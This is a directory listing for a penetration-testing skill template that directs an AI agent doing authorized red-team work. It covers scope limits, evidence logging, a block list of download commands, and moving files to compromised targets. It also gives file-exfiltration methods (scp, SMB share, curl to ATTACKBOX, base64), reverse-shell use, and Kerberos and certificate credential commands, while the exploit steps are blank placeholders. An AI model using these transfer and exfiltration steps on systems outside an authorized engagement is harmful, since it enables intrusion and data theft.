--- name: Red Run slug: red-run category: Quality description: Red Run guides authorized penetration testing work within a defined technique scope. It helps track engagement state, evidence, and findings while staying within the documented methodology. github: "https://github.com/blacklanternsecurity/red-run/tree/main/skills/_template" language: Python stars: 266 forks: 37 install: "npx degit https://github.com/blacklanternsecurity/red-run/tree/main/skills/_template ~/.claude/skills/_template" installs_to: ~/.claude/skills/_template source_path: skills/_template/SKILL.md collection_size: 25 category_size: 1418 collection_url: "https://dirskills.com/collections/blacklanternsecurity/red-run" added: 2026-09-02T05:19:23.032Z last_synced: 2026-09-02T05:19:23.032Z canonical_url: "https://dirskills.com/skills/red-run" --- # Red Run Red Run guides authorized penetration testing work within a defined technique scope. It helps track engagement state, evidence, and findings while staying within the documented methodology. **Install:** ```bash npx degit https://github.com/blacklanternsecurity/red-run/tree/main/skills/_template ~/.claude/skills/_template ``` ## README # You are helping a penetration tester with . All testing is under explicit written authorization. ## Engagement Logging Check for `./engagement/` directory. If absent, proceed without logging. When an engagement directory exists: - Print `[] Activated → ` to the screen on activation. - **Evidence** → save significant output to `engagement/evidence/` with descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`). ## Scope Boundary This skill covers . When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — **STOP**. Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with: - What was found (vulns, credentials, access gained) - Context to pass (injection point, target, working payloads, etc.) The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings. **Stay in methodology.** Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill. **Bail out on unmet preconditions.** If the Prerequisites for this skill are not met (e.g., the injection point doesn't exist, the service isn't running, user input never reaches the target function), report a negative finding and return immediately. Do not pivot to unrelated attack vectors — the orchestrator will route to the correct skill based on your report. ## State Management Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to: - Skip re-testing targets, parameters, or vulns already confirmed - Leverage existing credentials or access for this technique - Understand what's been tried and failed (check Blocked section) Your return summary must include: - New targets/hosts discovered (with ports and services) - New credentials or tokens found - Access gained or changed (user, privilege level, method) - Vulnerabilities confirmed (with status and severity) - Pivot paths identified (what leads where) - Blocked items (what failed and why, whether retryable) ## Tool Requirements (Local-Only) **NEVER download, clone, install, or build tools.** The operator's attackbox has a curated toolset — do not modify it. This is an OPSEC requirement: downloading tools mid-engagement triggers traffic inspection alerts and burns the operation. Prohibited actions: - `git clone` — any repository, any source - `pip install` / `pipx install` / `pip3 install` — any package - `npm install` / `go install` / `cargo install` — any package - `wget` / `curl -o` / `curl -O` — downloading files from the internet - `apt install` / `apt-get install` — system packages - Building tools from source that aren't already on the attackbox If a tool required by this skill is not installed: 1. **STOP immediately** — do not attempt workarounds or alternative tools 2. Return to the orchestrator with: - Which tool is missing - What it's needed for - The command that would install it (so the operator can review and run it) 3. The orchestrator presents this to the operator as a hard stop **Check if a tool exists before reporting it missing:** which 2>/dev/null || find /opt /usr/share /usr/local ~/.local/bin \ -name '' -type f 2>/dev/null | head -3 Tools provided via MCP (nmap, shell-server commands) and tools inside the red-run Docker containers (evil-winrm, impacket, Responder, etc.) are always available — do not check for these. ## Exploit and Tool Transfer Never download exploits, scripts, or tools directly to the target from the internet (`curl https://github.com/...`, `git clone` on target). Targets may lack outbound internet access, and operators must review files before they reach the target. **Attackbox-first workflow:** 1. **Check locally first** — see Tool Discovery above 2. **Download on attackbox** (only if not found) — `git clone`, `curl`, `searchsploit -m` locally 3. **Review** — inspect source code or binary provenance before transferring 4. **Serve** — `python3 -m http.server 8080` from the directory containing the file 5. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file` or `curl http://ATTACKBOX:8080/file -o /tmp/file` **Alternatives when HTTP is not viable:** `scp`/`sftp` (if SSH exists), `nc` file transfer, base64-encode and paste, or `impacket-smbserver share . -smb2support` on attackbox. **Inline source code** written via heredoc in this skill does not need this workflow — the operator can read the code directly. ## Web Interaction When interacting with web applications, use the browser MCP tools as the default for navigating sites, filling forms, and managing sessions. Browser tools handle CSRF tokens, session cookies, JavaScript-rendered content, and multi-step flows that curl cannot. - **Browser tools** (default) — navigate pages, fill forms, manage sessions, take screenshots for evidence, execute JavaScript for DOM inspection - **curl** (fallback) — crafted payloads needing precise header/body control, injection testing where exact request structure matters - **Injection-focused skills** may use curl directly for payload delivery when the browser adds unwanted encoding or headers ## File Exfiltration When retrieving files from a compromised target (loot, backups, configs, databases), prefer direct download over encoding. Choose the first method that works: 1. **Web-accessible** (file in webroot, served by HTTP/HTTPS)? → `curl`/`wget` from attackbox. Fastest and cleanest. 2. **SSH/SCP access available?** → `scp user@target:/path/file ./engagement/evidence/` 3. **Target can reach attackbox** (outbound HTTP)? → Target: `python3 -m http.server 8080` from the file's directory → Attackbox: `curl http://TARGET:8080/file -o evidence/file` 4. **SMB available?** → Attackbox: `impacket-smbserver share ./evidence -smb2support` → Target: `copy file \\ATTACKBOX\share\file` 5. **Last resort** (air-gapped, no outbound, no writable shares): → `base64 file | tr -d '\n'` on target, paste on attackbox, decode → Only for small files (<50KB) **Never default to base64 when a download method exists.** Base64 is slow, error-prone on large files, and produces unreadable blobs in shell transcripts. ## Shell Access Use the shell-server MCP tools documented in your agent template to catch and stabilize reverse shells. Prefer reverse shells over inline command execution. ## Prerequisites - - - ### Special characters in credentials Bash history expansion treats `!` as a special character (`!event`), even inside double quotes. Passwords containing `!`, `$`, backticks, or other shell metacharacters will be silently mangled when passed as command arguments. **Canonical workaround** — write to file, read from file: ```bash # 1. Use the Write tool (not echo/printf) to create a password file # The Write tool bypasses shell interpretation entirely Write("/tmp/claude-1000/cred.txt", "lDaP_1n_th3_cle4r!") # 2. Read into a variable PASS=$(cat /tmp/claude-1000/cred.txt) # 3. Use the variable in commands (double-quote it) certipy req -username user@domain -password "$PASS" -dc-ip 10.10.10.5 ``` Do NOT attempt to escape `!` with `\!`, single quotes, `set +H`, or `printf`. These are unreliable in the Claude Code Bash tool context. The Write-to-file pattern is the only reliable approach. ### Impacket binary naming Impacket tools have inconsistent binary names across installations. Some systems use `getTGT.py`, `addcomputer.py`, `secretsdump.py`; others use `impacket-getTGT`, `impacket-addcomputer`, `impacket-secretsdump` (pip/pipx installed). Before using an Impacket tool, find the correct binary: ```bash # Example: find addcomputer which addcomputer.py 2>/dev/null || which impacket-addcomputer 2>/dev/null ``` Use whichever binary exists. If neither is found, check `/usr/share/doc/python3-impacket/examples/` (Debian) or `~/.local/bin/` (pipx). ### Tool output directory Several tools write output files to CWD with no output-path flag (`getTGT.py` → `.ccache`, `certipy req` → `.pfx`, `certipy auth` → `.ccache`, `bloodyAD add shadowCredentials` → `_*.pfx`). To avoid scattering files in the working directory: ```bash # Always prefix CWD-writing commands with cd $TMPDIR cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH export KRB5CCNAME=$TMPDIR/user.ccache cd $TMPDIR && certipy req -k -no-pass -dc-ip DC_IP -ca 'CA' -template Tpl cd $TMPDIR && certipy auth -pfx $TMPDIR/user.pfx -dc-ip DC_IP # Save evidence with mv (not cp) to avoid stray duplicates mv $TMPDIR/user.pfx engagement/evidence/user.pfx mv $TMPDIR/user.ccache engagement/evidence/user.ccache ``` **Note**: `getTGT.py` does NOT support `-out`. It always writes `.ccache` to CWD. The `cd $TMPDIR &&` prefix is the only control. ## Step 1: Assess If not already provided by the orchestrator or conversation context, determine: 1. 2. 3. Skip if context was already provided. ## Step 2: Confirm Vulnerability ## Step 3: Exploit ### Variant A: ```bash # Explanation of what this does command arg1 arg2 ``` ### Variant B: ```bash # Alternative when Variant A fails or is blocked command arg1 arg2 ``` ## Step N: Post-Exploitation Exit STOP and return to the orchestrator with: - What was achieved (RCE, creds, file read, etc.) - New credentials, access, or pivot paths discovered - Context for next steps (platform, access method, working payloads) ## Troubleshooting ###